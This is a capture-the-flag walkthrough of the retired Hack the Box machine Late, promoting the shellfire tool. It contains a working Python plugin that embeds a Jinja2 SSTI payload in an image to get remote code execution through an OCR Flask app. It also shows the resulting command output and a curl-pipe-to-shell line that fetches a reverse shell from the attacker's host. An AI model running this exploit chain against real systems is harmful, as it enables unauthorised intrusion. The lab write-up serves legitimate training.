With the latest release (v0.9) of shellfire, I wanted to showcase some of the new functionality, and figured a retired Hack the Box machine would be great here. There's an old machine called Late which allows us to attack a vulnerable OCR application through SSTI. Let's take a look at how this would work!
Enumeration
We can start with the basics: dump the IP of our target into /etc/hosts, perform an nmap, then browse to the open http server we found. A little digging brings us to our vulnerable web app: http://images.late.htb, and visiting this page shows us the following:
In the header, we can see this app has been created with flask. We can take a screenshot of a simple SSTI exploit to test it this is vulnerable: {{ 7*7 }}
After uploading our malicious file to the server, we are presented with a text file for download, the contents of which will now contain 49
. This is great- in order to automate this, we need just a few more pieces of information.
By looking at the page source, we can see the form on this page submits to http://images.late.htb/scanner
. We also see the name of the file field is called file
. We can use these values to setup our automation.
Automation
To exploit this vulnerability, we want to perform the following steps:
-
Select a command for RCE.
-
Wrap our command in a Python payload for SSTI exploitation.
-
Generate an image with our payload.
-
Send our malicious image to the remote target.
-
Retrieve and display our output.
Let's use shellfire to do all of this!
To prepare our commands, we are going to use the new plugin system in shellfire. We can now write any Python code we'd like to prepare our commands and generate properly formulated payloads for our targets. Custom plugins can live in our home directory, under ~/.config/shellfire/plugins/
, and will be automatically loaded when shellfire starts. To see what plugins shellfire has available, use the .plugins
command. In this case, we are going to create a file called ~/.config/shellfire/plugins/ocr.py
and dump the following contents inside of it:
from shellfire.plugin_collection import Plugin
from PIL import Image, ImageDraw, ImageFont
import os
import io
class ocr(Plugin):
"""This plugin will just multiply the argument with the value 2
"""
def __init__(self):
super().__init__()
self.description = 'Generate image payloads to exploit flask OCR'
def run(self, data):
size = 22
fnt = ImageFont.truetype('/tmp/pt-mono.regular.ttf', size)
payload = "{{ joiner.__init__.__globals__.os.popen('%s').read() }}" % (data)
image = Image.new(mode = "RGB", size = (int(size-4)*len(payload)+2,size+20), color = "white");
draw = ImageDraw.Draw(image);
draw.text((10,10), payload, font=fnt, fill=(0,0,0));
with io.BytesIO() as output:
image.save(output, format="PNG")
content = output.getvalue()
return (filename, content, 'image/png')
Any classes which are loaded from this file will appear as plugins within shellfire. Here, we have created a plugin called ocr
which we can use later.
The plugin itself is pretty simple. It takes a user's input as the variable data
, sets up our font, draws the image using pillow, and dumps the file to a io buffer stream. It then returns the contents as a tuple, which Python Requests will use as part of a multipart form data request.
The most interesting part of this exploit was the font itself. I actually had varying success on different platforms with different fonts, but using pt-mono.regular.ttf
(a free font online) seemed to work best. I quickly saved the font file to /tmp
, but feel free to modify the font and path as needed on your system.
With our plugin in place, we should be able to type something like ls
into our shellfire command console and the following image will be generated and sent to our target:
Now let's load shellfire and exploit our target!
$ shellfire
(
)\ ) ) ( ( (
(()/( ( /( ( )\ )\ )\ ) ( ( (
/(_)))\()) ))\((_)((_)(()/( )\ )( ))\
(_)) ((_)\ /((_)_ _ /(_))((_)(()\ /((_)
/ __|| |(_)(_)) | | | | (_) _| (_) ((_)(_))
\__ \| ' \ / -_)| | | | | _| | || '_|/ -_)
|___/|_||_|\___||_| |_| |_| |_||_| \___|
[*] ShellFire v0.9
[*] Type '.help' to see available commands
First, we set the URL of our remote target. This is the value of the form we discovered earlier.
>> .url http://images.late.htb/scanner
[*] Exploit URL set: http://images.late.htb/scanner
Next, we set shellfire to use multipart form requests.
>> .method form
[*] HTTP method set: FORM
Last, we tell shellfire to use our new plugin to generate malicious files for our target. We will use the .files
command, give it the field name it will send the file as (we discovered earlier this is file
), and specify the name of the plugin which is going to generate the file content (in our case, ocr
.)
>> .files file ocr
[*] Plugin set
Now we're set! From here, we can execute commands as if we were at a shell and see what comes back.
>> whoami
<p>svc_acc
</p>
>> id
<p>uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
</p>
>> ls
<p>main.py
misc
__pycache__
static
templates
uploads
wsgi.py
</p>
We can even use this access to download and spawn a reverse shell.
>> curl http://10.10.14.200:8000/rev.sh|sh
This is a lot easier than hand-crafting each image you want to send over! With just a little bit of Python, you could script a plugin for just about any scenario. 🙂
If you don't already have shellfire, just pip install shellfire
to get started.
Happy hacking!